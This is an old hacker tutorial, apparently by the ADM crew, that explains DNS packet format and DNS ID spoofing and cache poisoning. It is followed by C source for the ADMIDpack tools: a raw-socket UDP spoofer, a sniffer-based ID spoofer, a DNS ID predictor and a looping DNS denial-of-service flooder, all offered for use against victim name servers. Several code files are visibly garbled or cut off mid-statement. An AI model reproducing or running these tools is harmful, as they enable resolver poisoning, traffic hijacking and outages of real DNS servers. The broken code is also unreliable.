[2|4|4|2|3|3|2|8|8|3|1|2|3|7|i|n|-|a|d|d|r|4|a|r|p|a|0]
[note]: a compression format exists, but we won't cover it.
type of question:
Here are the values that we will use much of the time (there are many more,
but these are only ones relevant):
name value
A | 1 | IP Address (resolving a name to an IP)
PTR | 12 | Pointer (resolving an IP to a name)
type of query:
The values are the same as the type of question.
DNS ANSWER:
Here is the format of an answer (an RR)
+------------------------------------------------------------------------+
| name of the domain |
+------------------------------------------------------------------------+
| type | class |
+----------------------------------+-------------------------------------+
| TTL (time to live) |
+------------------------------------------------------------------------+
| resource data length | |
|----------------------------+ |
| resource data |
+-------------------------------------------------------------------------
name of the domain:
The name of the domain in reports to the following resource: The domain name
is stored in the same way that the part question for the resolution request of
www.heike.com, the flag "name of the domain" will contain
[3|w|w|w|5|h|e|i|k|e|3|c|o|m|0].
type:
The type flag is the same than "type of query" in the question part of the
packet.
class:
The class flag is equal to 1 for Internet data.
time to live:
This flag explains in seconds the time-life of the information into the
name server cache.
resource data length:
The length of resource data, for example if resource data length is 4, it
means that the data in resources data are 4 bytes long.
resource data:
here we put the IP for example (at least in our case)
I will offer you a little example that explains this better:
Here is what's happening when ns.bibi.com asks ns.heike.com for
www.heike.com's address
ns.bibi.com:53 ---> [?www.heike.com] ----> ns.heike.com:53 (Phear Heike ;)
+---------------------------------+--------------------------------------+
| ID = 1999 | QR = 0 opcode = 0 RD = 1 |
+---------------------------------+--------------------------------------+
| numbers of questions = htons(1) | numbers of answers = 0 |
+---------------------------------+--------------------------------------+
| number of RR authoritative = 0 | number of supplementary RR = 0 |
+---------------------------------+--------------------------------------+
+------------------------------------------------------------------------+
| name of the question = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] |
+------------------------------------------------------------------------+
| type of question = htons(1) | type of query=htons(1) |
+---------------------------------+--------------------------------------+
here is for the question.
now let's stare the answer of ns.heike.com
ns.heike.com:53 -->[IP of www.heike.com is 31.33.7.44] --> ns.bibi.com:53
+---------------------------------+---------------------------------------+
| ID = 1999 | QR=1 opcode=0 RD=1 AA =1 RA=1 |
+---------------------------------+---------------------------------------+
| numbers of questions = htons(1) | numbers of answers = htons(1) |
+---------------------------------+---------------------------------------+
| number of RR authoritative = 0 | number of supplementary RR = 0 |
+---------------------------------+---------------------------------------+
+-------------------------------------------------------------------------+
| name of the question = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] |
+-------------------------------------------------------------------------+
| type of question = htons(1) | type of query = htons(1) |
+-------------------------------------------------------------------------+
+-------------------------------------------------------------------------+
| name of the domain = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] |
+-------------------------------------------------------------------------+
| type = htons(1) | class = htons(1) |
+-------------------------------------------------------------------------+
| time to live = 999999 |
+-------------------------------------------------------------------------+
| resource data length = htons(4) | resource data=inet_addr("31.33.7.44") |
+-------------------------------------------------------------------------+
Yah! That's all for now :))
Here is an analysis:
In the answer QR = 1 because it's an answer :)
AA = 1 because the name server has authority in its domain
RA = 1 because recursion is available
Good =) I hope you understood that cause you will need it for the following
events.
--[2.0]-- DNS ID hack/spoof
Now it's time to explain clearly what DNS ID hacking/spoofing is.
Like I explained before, the only way for the DNS daemon to recognize
the different questions/answers is the ID flag in the packet. Look at this
example:
ns.bibi.com;53 ----->[?www.heike.com] ------> ns.heike.com:53
So you only have to spoof the ip of ns.heike.com and answer your false
information before ns.heike.com to ns.bibi.com!
ns.bibi.com > Oct 06 05:18:12 ADM named[1913]: db_free: DB_F_ACTIVE set - ABORT
at this time named daemon is out of order :)
4.) Or you can use the vulnerability in BIND discovered by SNI (Secure
Networks, Inc.) with ID prediction (we will discuss this in a bit).
##################### Windows ID Vulnerability ###########################
I found a heavy vulnerability in Windows 95 (I haven't tested it on
WinNT), lets imagine my little friend that's on Windows 95.
Windows ID's are extremely easy to predict because it's "1" by default :)))
and "2" for the second question (if they are 2 questions at the same time).
######################## BIND Vulnerability ##############################
There is a vulnerability in BIND (discovered by SNI as stated earlier).
In fact, DNS IS are easily predictable, you only have to sniff a DNS in
order to do what you want. Let me explain...
The DNS uses a random ID at the beginning but it only increase this ID for
next questions ... =)))
It's easy to exploit this vulnerability.
Here is the way:
1. Be able to sniff easily the messages that comes to a random DNS (ex.
ns.dede.com for this sample).
2. You ask NS.victim.com to resolve (random).dede.com. NS.victim.com will
ask to ns.dede.com to resolve (random).dede.com
ns.victim.com ---> [?(rand).dede.com ID = 444] ---> ns.dede.com
3. Now you have the ID of the message from NS.victim.com, now you know what
ID area you'll have to use. (ID = 444 in this sample).
4. You then make your resolution request. ex. www.microsoft.com to
NS.victim.com
(you) ---> [?www.microsoft.com] ---> ns.victim.com
ns.victim.com --> [?www.microsoft.com ID = 446 ] --> ns.microsoft.com
5. Flood the name server ns.victim.com with the ID (444) you already have and
then you increase this one.
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 444] --> ns.victim.com
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 445] --> ns.victim.com
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 446] --> ns.victim.com
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 447] --> ns.victim.com
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 448] --> ns.victim.com
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 449] --> ns.victim.com
(now you know that DNS IDs are predictable, and they only increase. You
flood ns.victim.com with spoofed answers with the ID 444+ ;)
*** ADMsnOOfID does this.
There is another way to exploit this vulnerability without a root on
any DNS
The mechanism is very simple. Here is the explanation
We send to ns.victim.com a resolution request for *.provnet.fr
(you) ----------[?(random).provnet.fr] -------> ns.victim.com
Then, ns.victim.com asks ns1.provnet.fr to resolve (random).provnet.fr.
There is nothing new here, but the interesting part begins here.
From this point you begin to flood ns.victim.com with spoofed answers
(with ns1.provnet.fr IP) with ids from 100 to 110...
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=100] --> ns.victim.com
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=101] --> ns.victim.com
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=102] --> ns.victim.com
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=103] --> ns.victim.com
.....
After that, we ask ns.victim.com if (random).provnet.fr has an IP.
If ns.victim.com give us an IP for (random).provnet.fr then we have
found the correct ID :) Otherwise we have to repeat this attack until we
find the ID. It's a bit long but it's effective. And nothing forbids you
to do this with friends ;)
This is how ADMnOg00d works ;)
-------------------------------
##########################################################################
Here you will find 5 programs
ADMkillDNS - very simple DNS spoofer
ADMsniffID - sniff a LAN and reply false DNS answers before the NS
ADMsnOOfID - a DNS ID spoofer (you'll need to be root on a NS)
ADMnOg00d - a DNS ID predictor (no need to be root on a NS)
ADNdnsfuckr - a very simple denial of service attack to disable DNS
Have fun!! :)
Note: You can find source and binaries of this progs at
ftp.janova.org/pub/ADM. I'm going to make a little HOWTO soon, which would
be on janova. You need to install libpcap on your machine before any
compilation of the ADMID proggies :)
ADM Crew.
Thanks to: all ADM crew, Shok, pirus, fyber, Heike, and w00w00 (gotta love
these guys)
Special Thanks: ackboo, and of course Secure Networks, Inc. (SNI) at
www.secnet.com for finding the vulnerability =)
ADMIDpack/ADM-spoof.c
/************************************************************************/
/* ADM spoofing routine for spoof udp */
/************************************************************************/
#define IPHDRSIZE sizeof(struct iphdr)
#define UDPHDRSIZE sizeof(struct udphdr)
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "ip.h"
#include "udp.h"
/*****************************************************************************/
/*
* in_cksum --
* Checksum routine for Internet Protocol family headers (C Version)
*/
/*****************************************************************************/
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
int udp_send(s,saddr,daddr,sport,dport,datagram,datasize)
int s;
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
char * datagram;
unsigned datasize;
{
struct sockaddr_in sin;
struct iphdr *ip;
struct udphdr *udp;
unsigned char *data;
unsigned char packet[4024];
int x;
ip = (struct iphdr *)packet;
udp = (struct udphdr *)(packet+IPHDRSIZE);
data = (unsigned char *)(packet+IPHDRSIZE+UDPHDRSIZE);
memset(packet,0,sizeof(packet));
udp->source = htons(sport);
udp->dest = htons(dport);
udp->len = htons(UDPHDRSIZE+datasize);
udp->check = 0;
memcpy(data,datagram,datasize);
memset(packet,0,IPHDRSIZE);
ip->saddr.s_addr = saddr;
ip->daddr.s_addr = daddr;
ip->version = 4;
ip->ihl = 5;
ip->ttl = 245;
ip->id = random()%5985;
ip->protocol = IPPROTO_UDP;
ip->tot_len = htons(IPHDRSIZE + UDPHDRSIZE + datasize);
ip->check = 0;
ip->check = in_cksum((char *)packet,IPHDRSIZE);
sin.sin_family=AF_INET;
sin.sin_addr.s_addr=daddr;
sin.sin_port=udp->dest;
x=sendto(s, packet, IPHDRSIZE+UDPHDRSIZE+datasize, 0,
(struct sockaddr*)&sin, sizeof(struct sockaddr));
return(x);
}
/*****************************************************************************/
/* RECV PAKET */
/* get_pkt(socket, *buffer , size of the buffer); */
/*****************************************************************************/
int get_pkt(s,data,size)
int s;
unsigned char *data;
int size;
{
struct sockaddr_in sin;
int len,resu;
len= sizeof(sin);
resu=recvfrom(s,data,size,0,(struct sockaddr *)&sin,&len);
return resu;
}
ADMIDpack/ADMDNS2.c
/*************************************************/
/* DNS include for play with DNS packet (c) ADM */
/*************************************************/
#define ERROR -1
#define DNSHDRSIZE 12
#define TYPE_A 1
#define TYPE_PTR 12
int myrand()
{
int j;
j=1+(int) (150.0*rand()/(RAND_MAX+1.0));
return(j);
}
unsigned long host2ip(char *serv)
{
struct sockaddr_in sinn;
struct hostent *hent;
hent=gethostbyname(serv);
if(hent == NULL) return 0;
bzero((char *)&sinn, sizeof(sinn));
bcopy(hent->h_addr, (char *)&sinn.sin_addr, hent->h_length);
return sinn.sin_addr.s_addr;
}
void nameformat(char *name,char *QS)
{
/* CRAP & LAme COde :) */
char lol[3000];
char tmp[2550];
char tmp2[2550];
int i,a=0;
bzero(lol,sizeof(lol));
bzero(tmp,sizeof(tmp));
bzero(tmp2,sizeof(tmp2));
for(i=0;iid = 6000+myrand();
dns->qr = 0;
dns->rd = 1;
dns->aa = 0;
dns->que_num = htons(1);
dns->rep_num = htons(0);
i=makepaketQS(data,name,type);
udp_send(sraw,s_ip,d_ip,1200+myrand,53,buff,DNSHDRSIZE+i);
close(sraw);
}
void sendawnser(u_long s_ip, u_long d_ip, char *name,char *spoofip,int ID,int type)
{
struct dnshdr *dns;
char buff[1024];
char *data;
int i;
int on=1;
int sraw;
if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){
perror("socket");
exit(ERROR);
}
if((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR)if((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){
perror("setsockopt");
exit(ERROR);
}
dns = (struct dnshdr *) buff;
data = (char *)(buff+DNSHDRSIZE);
bzero(buff,sizeof(buff));
dns->id = htons(ID);
dns->qr = 1;
dns->rd = 1;
dns->aa = 1;
dns->que_num = htons(1);
dns->rep_num = htons(1);
i=makepaketAW(data,name,spoofip,type);
printf(" I apres Makepaket == %i \n",i);
udp_send(sraw,s_ip,d_ip,53,53,buff,DNSHDRSIZE+i);
close(sraw);
}
void dnsspoof(char *dnstrust,char *victim,char *spoofname,char *spoofip,int ID,int type)
{
struct dnshdr *dns;
char buff[1024];
char *data;
u_long fakeip;
u_long trustip;
u_long victimip;
int loop,rere;
dns = (struct dnshdr *)buff;
data = (char *)(buff+DNSHDRSIZE);
trustip = host2ip(dnstrust);
victimip = host2ip(victim);
fakeip = host2ip("12.1.1.0");
/* send question ... */
if( type == TYPE_PTR)
for(loop=0;loop<4;loop++)sendquestion(fakeip,victimip,spoofip,type);
if( type == TYPE_A)
for(loop=0;loop<4;loop++)
sendquestion(fakeip,victimip,spoofname,type);
/* now its time to awnser Quickly !!! */
for(rere = 0; rere < 2;rere++){
for(loop=0;loop < 80;loop++){
printf("trustip %s,vitcimip %s,spoofna %s,spoofip %s,ID %i,type %i\n",
dnstrust,victim,spoofname,spoofip,ID+loop,type);
sendawnser(trustip,victimip,spoofname,spoofip,ID+loop,type);
}
}
}
ADMIDpack/ADMdnsfuckr.c
/* ADM DNS DESTROYER */
#define DNSHDRSIZE 12
#define VERSION "0.2 pub"
#define ERROR -1
#include
#include
#include "ADM-spoof.c"
#include "dns.h"
#include "ADMDNS2.c"
void main(int argc, char **argv)
{
struct dnshdr *dns;
char *data;
char buffer2[4000];
unsigned char namez[255];
unsigned long s_ip;
unsigned long d_ip;
int sraw,on=1;
if(argc <2){printf(" usage : %s \n",argv[0]); exit(0);}
dns = (struct dnshdr *)buffer2;
data = (char *)(buffer2+12);
bzero(buffer2,sizeof(buffer2));
if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){
perror("socket");
exit(ERROR);
}
if( (setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){
perror("setsockopt");
exit(ERROR);
}
printf("ADMdnsFuker %s DNS DESTROYER made by the ADM crew\n",VERSION);
printf("(c) ADM,Heike vouais tous se ki est as moi est a elle aussi ...\n");
sleep(1);
s_ip=host2ip("100.1.2.3");
d_ip=host2ip(argv[1]);
dns->id = 123;
dns->rd = 1;
dns->que_num = htons(1);
while(1){
sprintf(namez,"\3%d\3%d\3%d\3%d\07in-addr\04arpa",myrand(),myrand(),myrand(),myrand());
printf("%s\n",namez);
strcpy(data,namez);
*( (u_short *) (data+strlen(namez)+1) ) = ntohs(12);
*( (u_short *) (data+strlen(namez)+3) ) = ntohs(1);
udp_send(sraw,s_ip,d_ip,2600+myrand(),53,buffer2,14+strlen(namez)+5);
s_ip=ntohl(s_ip);
s_ip++;
s_ip=htonl(s_ip);
}
}
ADMIDpack/ADMkillDNS.c
#include "ADM-spoof.c"
#include "dns.h"
#include "ADMDNS2.c"
#define ERROR -1
#define VERSION "0.3 pub"
#define ID_START 1
#define ID_STOP 65535
#define PORT_START 53
#define PORT_STOP 54
void main(int argc, char **argv)
{
struct dnshdr *dns;
char *data;
char buffer2[4000];
unsigned char namez[255];
unsigned long s_ip,s_ip2;
unsigned long d_ip,d_ip2;
int sraw, i, on=1, x, loop, idstart, idstop, portstart, portstop;
if(argc <5){
system("/usr/bin/clear");
printf(" usage : %s \n\t[A,B,N] [ID_START] [ID_STOP] [PORT START] [PORT STOP] \n",argv[0]);
printf(" ip src: ip source of the dns anwser\n");
printf(" ip dst: ip of the dns victim\n");
printf(" name : spoof name ex: www.dede.com\n");
printf(" ip : the ip associate with the name\n");
printf(" options \n");
printf(" [A,B,N] \n");
printf(" A: flood the DNS victim with multiple query\n");
printf(" B: DOS attack for destroy the DNS \n");
printf(" N: None attack \n\n");
printf(" [ID_START] \n");
printf(" ID_START: id start :> \n\n");
printf(" [ID_STOP] n");
printf(" ID_STOP : id stop :> \n\n");
printf(" PORT START,PORT STOP: send the spoof to the portstart at portstop\n\n");
printf("\033[01mADMkillDNS %s (c) ADM\033[0m , Heike \n",VERSION);
exit(ERROR);
}
dns = (struct dnshdr *)buffer2;
data = (char *)(buffer2+DNSHDRSIZE);
bzero(buffer2,sizeof(buffer2));
if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){
perror("socket");
exit(ERROR);
}
if((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){
perror("setsockopt");
exit(ERROR);
}
printf("ADMkillDNS %s",VERSION);
printf("\nouais ben mwa je dedie ca a ma Heike");
printf("\nREADY FOR ACTION!\n");
s_ip2=s_ip=host2ip(argv[1]);
d_ip2=d_ip=host2ip(argv[2]);
if(argc>5)if(*argv[5]=='A')
{
for(loop=0;loop<10;loop++){
dns->id = 6000+loop;
dns->qr = 0;
dns->rd = 1;
dns->aa = 0;
dns->que_num = htons(1);
dns->rep_num = htons(0);
i=makepaketQS(data,argv[3],TYPE_A);
udp_send(sraw,s_ip,d_ip,1200+loop,53,buffer2,DNSHDRSIZE+i);
s_ip=ntohl(s_ip);
s_ip++;
s_ip=htonl(s_ip);
}
} /* end of DNS flood query */
/* ici on trouve la routine contre un DOS */
if(argc>5)if(*argv[5]=='B')
{
s_ip=host2ip("100.1.2.3");
dns->id = 123;
dns->rd = 1;
dns->que_num = htons(1);
printf("plz enter the number of packet u wanna send\n");
scanf("%i",&i);
for(x=0;x 6 )idstart = atoi(argv[6]);
else
idstart = ID_START;
if(argc > 7 )idstop = atoi(argv[7]);
else
idstop = ID_STOP;
if(argc > 8 ){
portstart = atoi(argv[8]);
portstop = atoi(argv[9]);
}
else {
portstart = PORT_START;
portstop = PORT_STOP;
}
bzero(buffer2,sizeof(buffer2));
bzero(namez,sizeof(namez));
i=0;
x=0;
s_ip=s_ip2;
d_ip=d_ip2;
for(;idstartid = htons(idstart);
dns->qr = 1;
dns->rd = 1;
dns->aa = 1;
dns->que_num = htons(1);
dns->rep_num = htons(1);
printf("send awnser with id %i to port %i at port %i\n",idstart,portstart,portstop);
i=makepaketAW(data,argv[3],argv[4],TYPE_A);
for(;x < portstop; x++)
udp_send(sraw,s_ip,d_ip,53,x,buffer2,DNSHDRSIZE+i);
x = portstart;
}
printf(" terminated..\n");
}
ADMIDpack/ADMnOg00d.c
/***************************/
/* ADMnog00d (c) ADM */
/***************************/
/* ADM DNS ID PREDICTOR */
/***************************/
#include
#include
#include "dns.h"
#include "ADM-spoof.c"
#include "ADMDNS2.c"
#define VERSION "0.7 pub"
#define SPOOFIP "4.4.4.4"
#define ERROR -1
#define LEN sizeof(struct sockaddr)
#define UNDASPOOF "111.111.111.111"
#define TIMEOUT 300
#define DNSHDRSIZE 12
void usage()
{
printf(" ADMnoG00D [ID] \n");
printf("\n ex: ADMnoG00d ppp.evil.com ns1.victim.com provnet.fr ns.victim.com 1 mouhhahahaha.hol.fr 31.3.3.7 ns.isdnet.net [ID] \n");
printf(" well... we going to poison ns.victime.com for they resolv mouhhahaha.hol.fr in 31.3.3.7\n");
printf(" we use provnet.fr and ns1.provnet for find ID of ns.victim.com\n");
printf(" we use ns.isdnet.net for spoof because they have auth on *.hol.fr\n");
printf(" for more information..\n");
printf(" check ftp.janova.org/pub/ADM/ \n");
printf(" mail ADM@janova.org \n");
printf(" ask Heike from me...:) \n");
exit(-1);
}
void senddnspkt(s,d_ip,wwwname,ip,dns)
int s;
u_long d_ip;
char *wwwname;
char *ip;
struct dnshdr *dns;
{
struct sockaddr_in sin;
int i;
char buffer[1024];
char *data = (char *)(buffer+DNSHDRSIZE);
bzero(buffer,sizeof(buffer));
memcpy(buffer,dns,DNSHDRSIZE);
if(dns->qr == 0)
{
i=makepaketQS(data,wwwname,TYPE_A);
sin.sin_family = AF_INET;
sin.sin_port = htons(53);
sin.sin_addr.s_addr = d_ip;
sendto(s,buffer,DNSHDRSIZE+i,0,(struct sockaddr *)&sin,LEN);
}
else
{
i=makepaketAW(data,wwwname,ip,TYPE_A);
sin.sin_family = AF_INET;
sin.sin_port = htons(53);
sin.sin_addr.s_addr = d_ip;
sendto(s,buffer,DNSHDRSIZE+i,0,(struct sockaddr *)&sin,LEN);
}
}
void dns_qs_no_rd(s,d_ip,wwwname,ID)
int s;
u_long d_ip;
char *wwwname;
int ID;
{
struct dnshdr *dns;
char *data;
char buffer[1024];
int i;
dns = (struct dnshdr *)buffer;
data = (char *)(buffer+DNSHDRSIZE);
bzero(buffer,sizeof(buffer));
dns->id = htons(ID);
dns->qr = 0;
dns->rd = 0; /* dont want the recusion !! */
dns->aa = 0;
dns->que_num = htons(1);
dns->rep_num = htons(0);
i=makepaketQS(data,wwwname,TYPE_A);
senddnspkt(s,d_ip,wwwname,NULL,dns);
}
void main(int argc, char **argv)
{
struct sockaddr_in sin_rcp;
struct dnshdr *dns, *dns_recv;
char *data, *data2;
char buffer2[4000];
char buffer[4000];
char spoofname[255];
char spoofip[255];
char dnstrust[255];
char bla[255];
char *alacon;
unsigned char fakename[255];
unsigned char namez[255];
unsigned long s_ip, s_ip2;
unsigned long d_ip, d_ip2, trust;
unsigned int DA_ID = 65535, loop = 65535;
int sraw, s_r, i, on=1, x, ID,timez;
int len = sizeof(struct sockaddr);
dns_recv = (struct dnshdr *)(buffer);
data2 = (char *)(buffer+DNSHDRSIZE);
dns = (struct dnshdr *)buffer2;
data = (char *)(buffer2+DNSHDRSIZE);
bzero(buffer2,sizeof(buffer2));
srand(time(NULL));
if( (s_r=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) == ERROR ){
perror("socket");
exit(ERROR);
}
if( (fcntl(s_r,F_SETFL,O_NONBLOCK)) == ERROR ){
perror("fcntl");
exit(ERROR);
}
if ((sraw = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR ){
perror("socket");
exit(ERROR);
}
if( (setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == ERROR)){
perror("setsockopt");
exit(ERROR);
}
if(argc < 2) usage();
if(argc > 9 )DA_ID = loop = atoi(argv[9]);
if(argc > 6)strcpy(spoofname,argv[6]);
else{
printf("enter the name you wanna spoof:");
scanf("%s",spoofname);
}
if(argc > 7)strcpy(bla,argv[7]);
else{
printf("enter the ip's of the spoof name:");
scanf("%s",bla);
}
alacon =(char *)inet_ntoa(host2ip(bla));
strcpy(spoofip,alacon);
if( argc > 8 ) strcpy(bla,argv[8]);
else{
printf("enter the DNS trust of the victim:");
scanf("%s",bla);
}
alacon =(char *)inet_ntoa(host2ip(bla));
strcpy(dnstrust,alacon);
printf("ADMnoG00d %s\n",VERSION);
printf("\033[1mHeike\033[0m ownz Me So g\033[5m\033[36m0\033[0m\033[1m0\033[0md\n");
sleep(1);
printf("\nLets Play =)!!\n");
/* save some param */
s_ip2 = host2ip(argv[1]);
d_ip2 = d_ip = host2ip(argv[4]);
trust = host2ip(argv[2]);
s_ip = host2ip(UNDASPOOF);
while(1){
sprintf(fakename,"%i%i%i%i%i%i.%s",
myrand(),
myrand(),
myrand(),
myrand(),
myrand(),
myrand(),
argv[3]);
sendquestion(s_ip,d_ip,fakename,TYPE_A);
/* end of question packet */
bzero(buffer2,sizeof(buffer2)); /* RE init some variable */
bzero(namez,sizeof(namez));
i=0;
x=0;
/* here start the spoof anwser */
ID = loop;
for(;loop >= ID-10 ;loop--){
dns->id = htons(loop);
dns->qr = 1;
dns->rd = 1;
dns->aa = 1;
dns->que_num = htons(1);
dns->rep_num = htons(1);
i=makepaketAW(data,fakename,SPOOFIP,TYPE_A);
udp_send(sraw,trust,d_ip2,53,53,buffer2,DNSHDRSIZE+i);
}
bzero(buffer2,sizeof(buffer2)); /* RE init some variable */
bzero(namez,sizeof(namez));
i=0;
x=0;
/* time for test spoof */
dns_qs_no_rd(s_r,d_ip2,fakename,myrand()); /* here we sending question */
/* non recursive ! */
/* we waiting for awnser ... */
while(1){
for(timez=0;timez < TIMEOUT; timez++){
if( recvfrom(s_r,buffer,sizeof(buffer),0,(struct sockaddr *)&sin_rcp,&len) != -1 )
{
printf("ok whe have the reponse ;)\n");
timez = 0;
break;
}
usleep(10);
timez++;
}
if(timez != 0){
printf("hum no reponse from the NS ressend question..\n");
dns_qs_no_rd(s_r,d_ip2,fakename,myrand());
}
else break;
}
/* ok we have a awnser */
printf("fakename = %s\n",fakename);
if(sin_rcp.sin_addr.s_addr == d_ip2 )
if(sin_rcp.sin_port == htons(53) )
{
if( dns_recv->qr == 1 )
if( dns_recv->rep_num == 0 ) /* hum we dont have found the right ID */
printf("try %i < ID < %i \n",ID-10,ID);
else{
/* Hoho we have the spoof has worked we have found the right ID ! */
printf("the DNS ID of %s iz %i< ID
ADMIDpack/ADMsnOOfID.c
#include "ADM-spoof.c"
#include "dns.h"
#include "ADMDNS2.c"
#include
#include
#define DNSHDRSIZE 12
#define SPOOF "127.0.0.1"
#define VERSION "ver 0.6 pub"
#define ERROR -1
int ETHHDRSIZE;
void main(argc, argv)
int argc;
char *argv[];
{
struct pcap_pkthdr h;
struct pcap *pcap_d;
struct iphdr *ip;
struct udphdr *udp;
struct dnshdr *dnsrecv,*dnssend;
char *data;
char *data2;
char *buffer;
char namefake[255];
char buffer2[1024];
char ebuf[255];
char spoofname[255];
char spoofip[255];
char bla[255];
char dnstrust[255];
char *alacon;
unsigned long s_ipns;
unsigned long d_ip;
int sraw, i, on=1, con, ID,DA_ID,type;
srand( (time(NULL) % random() * random()) );
if(argc <2){
printf("usage : %s \n",argv[0]);
printf("ex: %s eth0 ns.victim.com hacker.org 123.4.5.36 12 damn.diz.ip.iz.ereet.ya mail.provnet.fr ns2.provnet.fr \n",argv[0]);
printf(" So ... we tryed to poison victim.com with type 12 (PTR) .. now if som1 asked for the ip of mail.provnet.fr they have resoled to damn.diz.ip.iz.ereet.ya\n");
exit(0);
}
if(strstr(argv[1],"ppp0"))ETHHDRSIZE = 0;
else ETHHDRSIZE = 14;
if(argc>5)type=atoi(argv[5]);
if(argc > 6)strcpy(spoofname,argv[6]);
else{
printf("enter the name you wanna spoof:");
scanf("%s",spoofname);
}
if(argc > 7)strcpy(bla,argv[7]);
else{
printf("enter the ip's of the spoof name:");
scanf("%s",bla);
}
alacon =(char *)inet_ntoa(host2ip(bla));
strcpy(spoofip,alacon);
if(argc > 8)strcpy(bla,argv[8]);
else{
printf("enter the dns trust for the spoof\n");
scanf("%s",bla);
}
alacon =(char *)inet_ntoa(host2ip(bla));
strcpy(dnstrust,alacon);
dnssend = (struct dnshdr *)buffer2;
data2 = (char *)(buffer2+DNSHDRSIZE);
bzero(buffer2,sizeof(buffer2));
if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){
perror("socket");
exit(ERROR);
}
if( (setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){
perror("setsockopt");
exit(ERROR);
}
printf("ADMsn0ofID.c %s ADM ID sniffer\n",VERSION);
printf("ADMsnO0fID (\033[5m\033[01mc\033[0m) ADM,Heike\n");
sleep(1);
pcap_d = pcap_open_live(argv[1],1024,0,100,ebuf);
s_ipns = host2ip(argv[4]);
d_ip = host2ip(argv[2]);
con = myrand();
/* make the question for get the ID */
sprintf(namefake,"%d%d%d.%s",myrand(),myrand(),myrand(),argv[3]);
dnssend->id = 2600;
dnssend->qr = 0;
dnssend->rd = 1;
dnssend->aa = 0;
dnssend->que_num = htons(1);
dnssend->rep_num = htons(0);
i = makepaketQS(data2,namefake,TYPE_A);
udp_send(sraw, s_ipns, d_ip,2600+con, 53, buffer2, DNSHDRSIZE+i);
printf("Question sended...\n");
printf("Its Time to w8 \n");
while(1)
{
buffer = (u_char *)pcap_next(pcap_d,&h); /* catch the packet */
ip = (struct iphdr *)(buffer+ETHHDRSIZE);
udp = (struct udphdr *)(buffer+ETHHDRSIZE+IPHDRSIZE);
dnsrecv = (struct dnshdr *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE);
data = (char *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE+DNSHDRSIZE);
if(ip->protocol == IPPROTO_UDP){
printf("[%s:%i ->",inet_ntoa(ip->saddr),ntohs(udp->source));
printf("%s:%i]\n",inet_ntoa(ip->daddr),ntohs(udp->dest));
}
if(ip->protocol == 17 )
if(ip->saddr.s_addr == d_ip )
if(ip->daddr.s_addr == s_ipns )
if(udp->dest == htons(53) )
if(dnsrecv->qr == 0 )
{
printf("kewl :)~ we have the packet !\n");
ID = dnsrecv->id ; /* we get the id */
printf("the current id of %s is %d \n",argv[2],ntohs(ID));
DA_ID = ntohs(ID);
printf("send the spoof...\n");
dnsspoof(dnstrust,argv[2],spoofname,spoofip,DA_ID,type);
printf("spoof sended...\n");
exit(0);
}
}
/* well now we have the ID we cant predict the ID */
}
ADMIDpack/ADMsniffID.c
#include
#include "ADM-spoof.c"
#include "dns.h"
#include "ADMDNS2.c"
#define ERROR -1
#define DNSHDRSIZE 12
#define VERSION "ver 0.4 pub"
int ETHHDRSIZE;
void usage(){
printf("usage : ADMsniffID \n");
printf("ex: ADMsniffID eth0 \"127.0.0.1\" \"www.its.me.com\" \n");
exit(ERROR);
}
void main(int argc, char **argv)
{
struct pcap_pkthdr h;
struct pcap *pcap_d;
struct iphdr *ip;
struct udphdr *udp;
struct dnshdr *dnsrecv,*dnssend;
char *data;
char *data2;
char *buffer;
char SPOOFIP[255];
char bla[255];
char spoofname[255];
char tmp2[255];
char ebuf[255];
char buffer2[1024];
unsigned char namez[255];
int sraw,on=1,tmp1,type;
if(argc <2)usage();
if(strstr(argv[1],"ppp0"))ETHHDRSIZE = 0;
else ETHHDRSIZE = 14;
strcpy(SPOOFIP,argv[2]);
strcpy(spoofname,argv[3]);
type = atoi(argv[4]);
/* Buffer 'n' tcp/ip stuff */
dnssend = (struct dnshdr *)buffer2;
data2 = (char *)(buffer2+12);
/* bzero(buffer,sizeof(buffer)); */
